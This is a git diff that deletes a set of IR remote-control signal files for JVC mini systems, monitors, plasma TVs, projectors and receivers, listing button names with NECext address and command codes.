a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir deleted file mode 100644 index d044ba300..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: STOP_CD -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: CD_OPEN -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 44 00 00 00 -# -name: CD_CHANGER_(INTRO) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 48 00 00 00 -# -name: PLAY_CD -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 52 00 00 00 -# -name: TRACK< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: TRACK> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 5B 00 00 00 -# -name: CD_(REPEAT) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 5B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 5B 00 00 00 -# -name: CD_10_KEY_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: CD_10_KEY_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: CD_10_KEY_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: CD_10_KEY_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: CD_10_KEY_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: CD_10_KEY_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: CD_10_KEY_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: CD_10_KEY_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: CD_10_KEY_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6A 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6B 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6B 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6D 00 00 00 -# -name: CD_10_KEY_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: CD_10_KEY_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 72 00 00 00 -# -name: CD_P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_CHANGER_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: CD_CHANGER_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: CD_CHANGER_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: CD_CHANGER_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: CD_CHANGER_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: CD_CHANGER_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 83 00 00 00 -# -name: CD_PLAY_MODE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 83 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir deleted file mode 100644 index d9e33c68e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ASPECT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 53 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir deleted file mode 100644 index 029a6a630..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir +++ /dev/null @@ -1,440 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MAIN/SAP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: SLEEP/TIMER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: RETURN+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: ANT/CABLE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: AV_STATUS/RESET -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO_STATUS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: THEATER/AV_STATUS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: CLOSED_CAPTION -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: TV_TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CH/HYPER_SCAN- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CH/HYPER_SCAN+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: TV_0/AUX -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: TV_8/DAILY_(M-F) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: TV_9/WEEKLY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: RECALL_CHOICE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: HYPER_SURROUND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 42 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4D 00 00 00 -# -name: FUNCTION_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: MENU_> -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: FUNCTION_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: MENU_< -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: 100+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: FUNCTION_FORWARD_V -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: MENU_V -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: FUNCTION_V -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: FUNCTION_BACK_^ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 -# -name: MENU_^ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 -# -name: FUNCTION_^ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 -# -name: PIP_FREEZE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 80 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 85 00 00 00 -# -name: PIP_MOVE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 86 00 00 00 -# -name: PIP_POSITION -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 86 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 89 00 00 00 -# -name: PIP_SOURCE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: B2 00 00 00 -# -name: PIP_CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: BE 00 00 00 -# -name: PIP_CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: BF 00 00 00 -# -name: PIP_SIZE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: D6 00 00 00 -# -name: C1/C2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: DA 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: E3 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: E6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir deleted file mode 100644 index 137592c54..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 02 00 00 00 -# -name: VCR_STOP[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR_FFWD>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_REW<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: VCR_PLAY> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR_PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCR_CH- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_CH+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: SP/EP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: CANCEL/C.RESET/SKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: ENTER/OSD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: C_MEMORY/ADD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: SKIP_SEARCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: RE-VIEW -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C3 00 00 00 -# -name: VCR_RECORD(REC&PLAY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir deleted file mode 100644 index 370b85164..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: DA 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: DD 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: E1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir deleted file mode 100644 index febc26a3a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 01 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 01 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 02 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 02 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 05 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 06 00 00 00 -# -name: HIDE -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 1D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 2E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 2F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 34 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 36 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 36 00 00 00 -# -name: INPUT:_VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4B 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4B 00 00 00 -# -name: INPUT:_S-VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4C 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4C 00 00 00 -# -name: INPUT:_COMPONENT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4D 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 4D 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 59 00 00 00 -# -name: IMAGE:_CINEMA -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 69 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 69 00 00 00 -# -name: IMAGE:_NATURAL -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6A 00 00 00 -# -name: NATURAL -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6A 00 00 00 -# -name: IMAGE:_DYNAMIC -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6B 00 00 00 -# -name: DYNAMIC -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6B 00 00 00 -# -name: IMAGE:_USER_1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6C 00 00 00 -# -name: USER_1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6C 00 00 00 -# -name: IMAGE:_USER_2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6D 00 00 00 -# -name: USER_2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6D 00 00 00 -# -name: IMAGE:_USER_3 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6E 00 00 00 -# -name: USER_3 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 6E 00 00 00 -# -name: INPUT:_HDMI_1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 70 00 00 00 -# -name: HDMI_1 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 70 00 00 00 -# -name: INPUT:_HDMI_2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 71 00 00 00 -# -name: HDMI_2 -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 71 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 74 00 00 00 -# -name: GAMMA -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 75 00 00 00 -# -name: COLOR_TEMP -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 76 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 77 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 78 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 79 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7A 00 00 00 -# -name: BRIGHT_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7A 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7B 00 00 00 -# -name: BRIGHT_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7B 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7C 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7D 00 00 00 -# -name: SHARPNESS_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7E 00 00 00 -# -name: SHARP_+ -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7E 00 00 00 -# -name: SHARPNESS_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7F 00 00 00 -# -name: SHARP_- -type: parsed -protocol: NECext -address: 73 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir deleted file mode 100644 index 83418f768..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VTR_STOP_[] -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: VTR_FF_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: VTR_REW_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: VTR_PLAY_> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: VTR_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: VTR_CHANNEL_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: VTR_CHANNEL_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir deleted file mode 100644 index 34e20de2b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: CD_CHAPTER_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: CD_SEARCH_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: CD_SEARCH_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: CD_CHAPTER_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir deleted file mode 100644 index 84fd94a2e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir +++ /dev/null @@ -1,596 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE1_STOP_[] -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE_1_STOP_[]_(4) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE_STOP_[] -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE1_CON._STOP_[] -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE1_CONTROL_STOP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE1/2_STOP_[] -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE_CONT_STOP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE_1_STOP[] -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE1/2_STOP_(-_[]) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE1_OPEN/CLOSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 04 00 00 00 -# -name: TAPE1_FFWD_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE1_FF_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE_1_>>_(P) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE_FF_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE1_CON._FFWD_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE1_CONTROL_FFWD -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE1/2_FFWD_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE_CONT_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE_1_>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE1/2_FFWD_(>_>>) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE_FF/>> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE1_REW_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE_1_<<_(6) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE_REW_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE1_CON._REW_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE1_CONTROL_REW -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE1/2_REW_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE_CONT_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE_1_<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE1/2_REW_(<_<<) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE_REW/<< -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE1_<> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0B 00 00 00 -# -name: DIRECTION_<> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0B 00 00 00 -# -name: TAPE1_OPEN/CLOSE_<> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0B 00 00 00 -# -name: TAPE1/2_<> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0B 00 00 00 -# -name: TAPE_<> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0B 00 00 00 -# -name: TAPE1_PLAY_> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE_1_PLAY_>_(1) -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE_PLAY_> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE1_CON._PLAY_> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE1_CONTROL_PLAY> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE1/2_PLAY_> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE_CONT_PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE_1_PLAY> -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE1/2_PLAY_(+_>) -type: parsed -protocol: 